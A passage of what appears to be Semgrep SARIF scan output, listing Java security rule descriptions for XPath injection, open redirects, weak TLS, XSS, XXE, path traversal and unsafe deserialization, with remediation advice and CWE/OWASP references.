sg.run/pro"},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.tainted-xpath-from-http-request.tainted-xpath-from-http-request","id":"java.lang.security.audit.tainted-xpath-from-http-request.tainted-xpath-from-http-request","name":"java.lang.security.audit.tainted-xpath-from-http-request.tainted-xpath-from-http-request","properties":{"precision":"very-high","tags":["CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A05:2025 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.tainted-xpath-from-http-request.tainted-xpath-from-http-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Application redirects to a destination URL specified by a user-supplied parameter that is not validated. This could direct users to malicious locations. Consider using an allowlist to validate URLs."},"help":{"markdown":"Application redirects to a destination URL specified by a user-supplied parameter that is not validated. This could direct users to malicious locations. Consider using an allowlist to validate URLs.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at sg.run/pro\n\nReferences:\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.unvalidated-redirect.unvalidated-redirect)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"Application redirects to a destination URL specified by a user-supplied parameter that is not validated. This could direct users to malicious locations. Consider using an allowlist to validate URLs.\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.unvalidated-redirect.unvalidated-redirect","id":"java.lang.security.audit.unvalidated-redirect.unvalidated-redirect","name":"java.lang.security.audit.unvalidated-redirect.unvalidated-redirect","properties":{"precision":"very-high","tags":["CWE-601: URL Redirection to Untrusted Site ('Open Redirect')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A01:2025 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.unvalidated-redirect.unvalidated-redirect"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"An insecure SSL context was detected. TLS versions 1.0, 1.1, and all SSL versions are considered weak encryption and are deprecated. Use SSLContext.getInstance(\"TLSv1.2\") for the best security."},"help":{"markdown":"An insecure SSL context was detected. TLS versions 1.0, 1.1, and all SSL versions are considered weak encryption and are deprecated. Use SSLContext.getInstance(\"TLSv1.2\") for the best security.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at sg.run/pro\n\nReferences:\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.weak-ssl-context.weak-ssl-context)\n - [https://tools.ietf.org/html/rfc7568](https://tools.ietf.org/html/rfc7568)\n - [https://tools.ietf.org/id/draft-ietf-tls-oldversions-deprecate-02.html](https://tools.ietf.org/id/draft-ietf-tls-oldversions-deprecate-02.html)\n","text":"An insecure SSL context was detected. TLS versions 1.0, 1.1, and all SSL versions are considered weak encryption and are deprecated. Use SSLContext.getInstance(\"TLSv1.2\") for the best security.\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.weak-ssl-context.weak-ssl-context","id":"java.lang.security.audit.weak-ssl-context.weak-ssl-context","name":"java.lang.security.audit.weak-ssl-context.weak-ssl-context","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A04:2025 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.weak-ssl-context.weak-ssl-context"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a request with potential user-input going into a OutputStream or Writer object. This bypasses any view or template environments, including HTML escaping, which may expose this application to cross-site scripting (XSS) vulnerabilities. Consider using a view technology such as JavaServer Faces (JSFs) which automatically escapes HTML views."},"help":{"markdown":"Detected a request with potential user-input going into a OutputStream or Writer object. This bypasses any view or template environments, including HTML escaping, which may expose this application to cross-site scripting (XSS) vulnerabilities. Consider using a view technology such as JavaServer Faces (JSFs) which automatically escapes HTML views.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at sg.run/pro\n\nReferences:\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.xss.no-direct-response-writer.no-direct-response-writer)\n - [https://www3.ntu.edu.sg/home/ehchua/programming/java/JavaServerFaces.html](https://www3.ntu.edu.sg/home/ehchua/programming/java/JavaServerFaces.html)\n","text":"Detected a request with potential user-input going into a OutputStream or Writer object. This bypasses any view or template environments, including HTML escaping, which may expose this application to cross-site scripting (XSS) vulnerabilities. Consider using a view technology such as JavaServer Faces (JSFs) which automatically escapes HTML views.\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.xss.no-direct-response-writer.no-direct-response-writer","id":"java.lang.security.audit.xss.no-direct-response-writer.no-direct-response-writer","name":"java.lang.security.audit.xss.no-direct-response-writer.no-direct-response-writer","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A05:2025 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.xss.no-direct-response-writer.no-direct-response-writer"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"DOCTYPE declarations are enabled for $DBFACTORY. Without prohibiting external entity declarations, this is vulnerable to XML external entity attacks. Disable this by setting the feature \"http://apache.org/xml/features/disallow-doctype-decl\" to true. Alternatively, allow DOCTYPE declarations and only prohibit external entities declarations. This can be done by setting the features \"http://xml.org/sax/features/external-general-entities\" and \"http://xml.org/sax/features/external-parameter-entities\" to false."},"help":{"markdown":"DOCTYPE declarations are enabled for $DBFACTORY. Without prohibiting external entity declarations, this is vulnerable to XML external entity attacks. Disable this by setting the feature \"http://apache.org/xml/features/disallow-doctype-decl\" to true. Alternatively, allow DOCTYPE declarations and only prohibit external entities declarations. This can be done by setting the features \"http://xml.org/sax/features/external-general-entities\" and \"http://xml.org/sax/features/external-parameter-entities\" to false.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at sg.run/pro\n\nReferences:\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.xxe.documentbuilderfactory-disallow-doctype-decl-false.documentbuilderfactory-disallow-doctype-decl-false)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://blog.sonarsource.com/secure-xml-processor](https://blog.sonarsource.com/secure-xml-processor)\n - [https://xerces.apache.org/xerces2-j/features.html](https://xerces.apache.org/xerces2-j/features.html)\n","text":"DOCTYPE declarations are enabled for $DBFACTORY. Without prohibiting external entity declarations, this is vulnerable to XML external entity attacks. Disable this by setting the feature \"http://apache.org/xml/features/disallow-doctype-decl\" to true. Alternatively, allow DOCTYPE declarations and only prohibit external entities declarations. This can be done by setting the features \"http://xml.org/sax/features/external-general-entities\" and \"http://xml.org/sax/features/external-parameter-entities\" to false.\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.xxe.documentbuilderfactory-disallow-doctype-decl-false.documentbuilderfactory-disallow-doctype-decl-false","id":"java.lang.security.audit.xxe.documentbuilderfactory-disallow-doctype-decl-false.documentbuilderfactory-disallow-doctype-decl-false","name":"java.lang.security.audit.xxe.documentbuilderfactory-disallow-doctype-decl-false.documentbuilderfactory-disallow-doctype-decl-false","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A02:2025 - Security Misconfiguration","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.xxe.documentbuilderfactory-disallow-doctype-decl-false.documentbuilderfactory-disallow-doctype-decl-false"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"DOCTYPE declarations are enabled for this DocumentBuilderFactory. This is vulnerable to XML external entity attacks. Disable this by setting the feature \"http://apache.org/xml/features/disallow-doctype-decl\" to true. Alternatively, allow DOCTYPE declarations and only prohibit external entities declarations. This can be done by setting the features \"http://xml.org/sax/features/external-general-entities\" and \"http://xml.org/sax/features/external-parameter-entities\" to false."},"help":{"markdown":"DOCTYPE declarations are enabled for this DocumentBuilderFactory. This is vulnerable to XML external entity attacks. Disable this by setting the feature \"http://apache.org/xml/features/disallow-doctype-decl\" to true. Alternatively, allow DOCTYPE declarations and only prohibit external entities declarations. This can be done by setting the features \"http://xml.org/sax/features/external-general-entities\" and \"http://xml.org/sax/features/external-parameter-entities\" to false.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at sg.run/pro\n\nReferences:\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.xxe.documentbuilderfactory-disallow-doctype-decl-missing.documentbuilderfactory-disallow-doctype-decl-missing)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://blog.sonarsource.com/secure-xml-processor](https://blog.sonarsource.com/secure-xml-processor)\n - [https://xerces.apache.org/xerces2-j/features.html](https://xerces.apache.org/xerces2-j/features.html)\n","text":"DOCTYPE declarations are enabled for this DocumentBuilderFactory. This is vulnerable to XML external entity attacks. Disable this by setting the feature \"http://apache.org/xml/features/disallow-doctype-decl\" to true. Alternatively, allow DOCTYPE declarations and only prohibit external entities declarations. This can be done by setting the features \"http://xml.org/sax/features/external-general-entities\" and \"http://xml.org/sax/features/external-parameter-entities\" to false.\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.xxe.documentbuilderfactory-disallow-doctype-decl-missing.documentbuilderfactory-disallow-doctype-decl-missing","id":"java.lang.security.audit.xxe.documentbuilderfactory-disallow-doctype-decl-missing.documentbuilderfactory-disallow-doctype-decl-missing","name":"java.lang.security.audit.xxe.documentbuilderfactory-disallow-doctype-decl-missing.documentbuilderfactory-disallow-doctype-decl-missing","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A02:2025 - Security Misconfiguration","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.xxe.documentbuilderfactory-disallow-doctype-decl-missing.documentbuilderfactory-disallow-doctype-decl-missing"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"External entities are allowed for $DBFACTORY. This is vulnerable to XML external entity attacks. Disable this by setting the feature \"http://xml.org/sax/features/external-general-entities\" to false."},"help":{"markdown":"External entities are allowed for $DBFACTORY. This is vulnerable to XML external entity attacks. Disable this by setting the feature \"http://xml.org/sax/features/external-general-entities\" to false.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at sg.run/pro\n\nReferences:\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.xxe.documentbuilderfactory-external-general-entities-true.documentbuilderfactory-external-general-entities-true)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://blog.sonarsource.com/secure-xml-processor](https://blog.sonarsource.com/secure-xml-processor)\n","text":"External entities are allowed for $DBFACTORY. This is vulnerable to XML external entity attacks. Disable this by setting the feature \"http://xml.org/sax/features/external-general-entities\" to false.\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.xxe.documentbuilderfactory-external-general-entities-true.documentbuilderfactory-external-general-entities-true","id":"java.lang.security.audit.xxe.documentbuilderfactory-external-general-entities-true.documentbuilderfactory-external-general-entities-true","name":"java.lang.security.audit.xxe.documentbuilderfactory-external-general-entities-true.documentbuilderfactory-external-general-entities-true","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A02:2025 - Security Misconfiguration","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.xxe.documentbuilderfactory-external-general-entities-true.documentbuilderfactory-external-general-entities-true"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"External entities are allowed for $DBFACTORY. This is vulnerable to XML external entity attacks. Disable this by setting the feature \"http://xml.org/sax/features/external-parameter-entities\" to false."},"help":{"markdown":"External entities are allowed for $DBFACTORY. This is vulnerable to XML external entity attacks. Disable this by setting the feature \"http://xml.org/sax/features/external-parameter-entities\" to false.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at sg.run/pro\n\nReferences:\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.xxe.documentbuilderfactory-external-parameter-entities-true.documentbuilderfactory-external-parameter-entities-true)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://blog.sonarsource.com/secure-xml-processor](https://blog.sonarsource.com/secure-xml-processor)\n","text":"External entities are allowed for $DBFACTORY. This is vulnerable to XML external entity attacks. Disable this by setting the feature \"http://xml.org/sax/features/external-parameter-entities\" to false.\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.xxe.documentbuilderfactory-external-parameter-entities-true.documentbuilderfactory-external-parameter-entities-true","id":"java.lang.security.audit.xxe.documentbuilderfactory-external-parameter-entities-true.documentbuilderfactory-external-parameter-entities-true","name":"java.lang.security.audit.xxe.documentbuilderfactory-external-parameter-entities-true.documentbuilderfactory-external-parameter-entities-true","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A02:2025 - Security Misconfiguration","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.xxe.documentbuilderfactory-external-parameter-entities-true.documentbuilderfactory-external-parameter-entities-true"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"DOCTYPE declarations are enabled for this SAXParserFactory. This is vulnerable to XML external entity attacks. Disable this by setting the feature `http://apache.org/xml/features/disallow-doctype-decl` to true. Alternatively, allow DOCTYPE declarations and only prohibit external entities declarations. This can be done by setting the features `http://xml.org/sax/features/external-general-entities` and `http://xml.org/sax/features/external-parameter-entities` to false. NOTE - The previous links are not meant to be clicked. They are the literal config key values that are supposed to be used to disable these features. For more information, see https://semgrep.dev/docs/cheat-sheets/java-xxe/#3a-documentbuilderfactory."},"help":{"markdown":"DOCTYPE declarations are enabled for this SAXParserFactory. This is vulnerable to XML external entity attacks. Disable this by setting the feature `http://apache.org/xml/features/disallow-doctype-decl` to true. Alternatively, allow DOCTYPE declarations and only prohibit external entities declarations. This can be done by setting the features `http://xml.org/sax/features/external-general-entities` and `http://xml.org/sax/features/external-parameter-entities` to false. NOTE - The previous links are not meant to be clicked. They are the literal config key values that are supposed to be used to disable these features. For more information, see https://semgrep.dev/docs/cheat-sheets/java-xxe/#3a-documentbuilderfactory.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at sg.run/pro\n\nReferences:\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.xxe.saxparserfactory-disallow-doctype-decl-missing.saxparserfactory-disallow-doctype-decl-missing)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://blog.sonarsource.com/secure-xml-processor](https://blog.sonarsource.com/secure-xml-processor)\n - [https://xerces.apache.org/xerces2-j/features.html](https://xerces.apache.org/xerces2-j/features.html)\n","text":"DOCTYPE declarations are enabled for this SAXParserFactory. This is vulnerable to XML external entity attacks. Disable this by setting the feature `http://apache.org/xml/features/disallow-doctype-decl` to true. Alternatively, allow DOCTYPE declarations and only prohibit external entities declarations. This can be done by setting the features `http://xml.org/sax/features/external-general-entities` and `http://xml.org/sax/features/external-parameter-entities` to false. NOTE - The previous links are not meant to be clicked. They are the literal config key values that are supposed to be used to disable these features. For more information, see https://semgrep.dev/docs/cheat-sheets/java-xxe/#3a-documentbuilderfactory.\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.xxe.saxparserfactory-disallow-doctype-decl-missing.saxparserfactory-disallow-doctype-decl-missing","id":"java.lang.security.audit.xxe.saxparserfactory-disallow-doctype-decl-missing.saxparserfactory-disallow-doctype-decl-missing","name":"java.lang.security.audit.xxe.saxparserfactory-disallow-doctype-decl-missing.saxparserfactory-disallow-doctype-decl-missing","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A02:2025 - Security Misconfiguration","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.xxe.saxparserfactory-disallow-doctype-decl-missing.saxparserfactory-disallow-doctype-decl-missing"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"DOCTYPE declarations are enabled for this TransformerFactory. This is vulnerable to XML external entity attacks. Disable this by setting the attributes \"accessExternalDTD\" and \"accessExternalStylesheet\" to \"\"."},"help":{"markdown":"DOCTYPE declarations are enabled for this TransformerFactory. This is vulnerable to XML external entity attacks. Disable this by setting the attributes \"accessExternalDTD\" and \"accessExternalStylesheet\" to \"\".\n\n#### 💎 Enable cross-file analysis and Pro rules for free at sg.run/pro\n\nReferences:\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.xxe.transformerfactory-dtds-not-disabled.transformerfactory-dtds-not-disabled)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://blog.sonarsource.com/secure-xml-processor](https://blog.sonarsource.com/secure-xml-processor)\n - [https://xerces.apache.org/xerces2-j/features.html](https://xerces.apache.org/xerces2-j/features.html)\n","text":"DOCTYPE declarations are enabled for this TransformerFactory. This is vulnerable to XML external entity attacks. Disable this by setting the attributes \"accessExternalDTD\" and \"accessExternalStylesheet\" to \"\".\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.xxe.transformerfactory-dtds-not-disabled.transformerfactory-dtds-not-disabled","id":"java.lang.security.audit.xxe.transformerfactory-dtds-not-disabled.transformerfactory-dtds-not-disabled","name":"java.lang.security.audit.xxe.transformerfactory-dtds-not-disabled.transformerfactory-dtds-not-disabled","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A02:2025 - Security Misconfiguration","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.xxe.transformerfactory-dtds-not-disabled.transformerfactory-dtds-not-disabled"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected a potential path traversal. A malicious actor could control the location of this file, to include going backwards in the directory with '../'. To address this, ensure that user-controlled variables in file paths are sanitized. You may also consider using a utility method such as org.apache.commons.io.FilenameUtils.getName(...) to only retrieve the file name from the path."},"help":{"markdown":"Detected a potential path traversal. A malicious actor could control the location of this file, to include going backwards in the directory with '../'. To address this, ensure that user-controlled variables in file paths are sanitized. You may also consider using a utility method such as org.apache.commons.io.FilenameUtils.getName(...) to only retrieve the file name from the path.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at sg.run/pro\n\nReferences:\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.httpservlet-path-traversal.httpservlet-path-traversal)\n - [https://www.owasp.org/index.php/Path_Traversal](https://www.owasp.org/index.php/Path_Traversal)\n","text":"Detected a potential path traversal. A malicious actor could control the location of this file, to include going backwards in the directory with '../'. To address this, ensure that user-controlled variables in file paths are sanitized. You may also consider using a utility method such as org.apache.commons.io.FilenameUtils.getName(...) to only retrieve the file name from the path.\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"},"helpUri":"https://semgrep.dev/r/java.lang.security.httpservlet-path-traversal.httpservlet-path-traversal","id":"java.lang.security.httpservlet-path-traversal.httpservlet-path-traversal","name":"java.lang.security.httpservlet-path-traversal.httpservlet-path-traversal","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A01:2025 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.httpservlet-path-traversal.httpservlet-path-traversal"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"JMS Object messages depend on Java Serialization for marshalling/unmarshalling of the message payload when ObjectMessage.getObject() is called. Deserialization of untrusted data can lead to security flaws; a remote attacker could via a crafted JMS ObjectMessage to execute arbitrary code with the permissions of the application listening/consuming JMS Messages. In this case, the JMS MessageListener consume an ObjectMessage type received inside the onMessage method, which may lead to arbitrary code execution when calling the $Y.getObject method."},"help":{"markdown":"JMS Object messages depend on Java Serialization for marshalling/unmarshalling of the message payload when ObjectMessage.getObject() is called. Deserialization of untrusted data can lead to security flaws; a remote attacker could via a crafted JMS ObjectMessage to execute arbitrary code with the permissions of the application listening/consuming JMS Messages. In this case, the JMS MessageListener consume an ObjectMessage type received inside the onMessage method, which may lead to arbitrary code execution when calling the $Y.getObject method.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at sg.run/pro\n\nReferences:\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.insecure-jms-deserialization.insecure-jms-deserialization)\n - [https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities-wp.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities-wp.pdf)\n","text":"JMS Object messages depend on Java Serialization for marshalling/unmarshalling of the message payload when ObjectMessage.getObject() is called. Deserialization of untrusted data can lead to security flaws; a remote attacker could via a crafted JMS ObjectMessage to execute arbitrary code with the permissions of the application listening/consuming JMS Messages. In this case, the JMS MessageListener consume an ObjectMessage type received inside the onMessage method, which may lead to arbitrary code execution when calling the $Y.getObject method.\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"},"helpUri":"https://semgrep.dev/r/java.lang.security.insecure-jms-deserialization.insecure-jms-deserialization","id":"java.lang.security.insecure-jms-deserialization.insecure-jms-deserialization","name":"java.lang.security.insecure-jms-deserialization.insecure-jms-deserialization","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","OWASP-A08:2025 - Software or Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.insecure-jms-deserialization.insecure-jms-deserialization"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"When using Jackson to marshall/unmarshall JSON to Java objects, enabling default typing is dangerous and can lead to RCE. If an attacker can control `$JSON` it might be possible to provide a malicious JSON which can be used to exploit unsecure deserialization. In order to prevent this issue, avoid to enable default typing (globally or by using \"Per-class\" annotations) and avoid using `Object` and other dangerous types for member variable declaration which creating classes for Jackson based deserialization."},"help":{"markdown":"When using Jackson to marshall/unmarshall JSON to Java objects, enabling default typing is dangerous and can lead to RCE. If an attacker can control `$JSON` it might be possible to provide a malicious JSON which can be used to exploit unsecure deserialization. In order to prevent this issue, avoid to enable default typing (globally or by using \"Per-class\" annotations) and avoid using `Object` and other dangerous types for member variable declaration which creating classes for Jackson based deserialization.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at sg.run/pro\n\nReferences:\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.jackson-unsafe-deserialization.jackson-unsafe-deserialization)\n - [https://swapneildash.medium.com/understanding-insecure-implementation-of-jackson-deserialization-7b3d409d2038](https://swapneildash.medium.com/understanding-insecure-implementation-of-jackson-deserialization-7b3d409d2038)\n - [https://cowtowncoder.medium.com/on-jackson-cves-dont-panic-here-is-what-you-need-to-know-54cd0d6e8062](https://cowtowncoder.medium.com/on-jackson-cves-dont-panic-here-is-what-you-need-to-know-54cd0d6e8062)\n - [https://adamcaudill.com/2017/10/04/exploiting-jackson-rce-cve-2017-7525/](https://adamcaudill.com/2017/10/04/exploiting-jackson-rce-cve-2017-7525/)\n","text":"When using Jackson to marshall/unmarshall JSON to Java objects, enabling default typing is dangerous and can lead to RCE. If an attacker can control `$JSON` it might be possible to provide a malicious JSON which can be used to exploit unsecure deserialization. In order to prevent this issue, avoid to enable default typing (globally or by using \"Per-class\" annotations) and avoid using `Object` and other dangerous types for member variable declaration which creating classes for Jackson based deserialization.\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"},"helpUri":"https://semgrep.dev/r/java.lang.security.jackson-unsafe-deserialization.jackson-unsafe-deserialization","id":"java.lang.security.jackson-unsafe-deserialization.jackson-unsafe-deserialization","name":"java.lang.security.jackson-unsafe-deserialization.jackson-unsafe-deserialization","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","OWASP-A8:2017 Insecure Deserialization","OWASP-A8:2021 Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.jackson-unsafe-deserialization.jackson-unsafe-deserialization"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Cross-site scripting detected in HttpServletResponse writer with variable '$VAR'. User input was detected going directly from the HttpServletRequest into output. Ensure your data is properly encoded using org.owasp.encoder.Encode.forHtml: 'Encode.forHtml($VAR)'."},"help":{"markdown":"Cross-site scripting detected in HttpServletResponse writer with variable '$VAR'. User input was detected going directly from the HttpServletRequest into output. Ensure your data is properly encoded using org.owasp.encoder.Encode.forHtml: 'Encode.forHtml($VAR)'.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at sg.run/pro\n\nReferences:\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.servletresponse-writer-xss.servletresponse-writer-xss)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Cross-site scripting detected in HttpServletResponse writer with variable '$VAR'. User input was detected going directly from the HttpServletRequest into output. Ensure your data is properly encoded using org.owasp.encoder.Encode.forHtml: 'Encode.forHtml($VAR)'.\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"},"helpUri":"https://semgrep.dev/r/java.lang.security.servletresponse-writer-xss.servletresponse-writer-xss","id":"java.lang.security.servletresponse-writer-xss.servletresponse-writer-xss","name":"java.lang.security.servletresponse-writer-xss.servletresponse-writer-xss","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A05:2025 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.servletresponse-writer-xss.servletresponse-writer-xss"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"XML external entities are not explicitly disabled for this XMLInputFactory. This could be vulnerable to XML external entity vulnerabilities. Explicitly disable external entities by setting \"javax.xml.stream.isSupportingExternalEntities\" to false."},"help":{"markdown":"XML external entities are not explicitly disabled for this XMLInputFactory. This could be vulnerable to XML external entity vulnerabilities. Explicitly disable external entities by setting \"javax.xml.stream.isSupportingExternalEntities\" to false.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at sg.run/pro\n\nReferences:\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.xmlinputfactory-possible-xxe.xmlinputfactory-possible-xxe)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://www.blackhat.com/docs/us-15/materials/us-15-Wang-FileCry-The-New-Age-Of-XXE-java-wp.pdf](https://www.blackhat.com/docs/us-15/materials/us-15-Wang-FileCry-The-New-Age-Of-XXE-java-wp.pdf)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html#xmlinputfactory-a-stax-parser](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html#xmlinputfactory-a-stax-parser)\n","text":"XML external entities are not explicitly disabled for this XMLInputFactory. This could be vulnerable to XML external entity vulnerabilities. Explicitly disable external entities by setting \"javax.xml.stream.isSupportingExternalEntities\" to false.\n💎 Enable cross-file analysis and Pro rules for free at 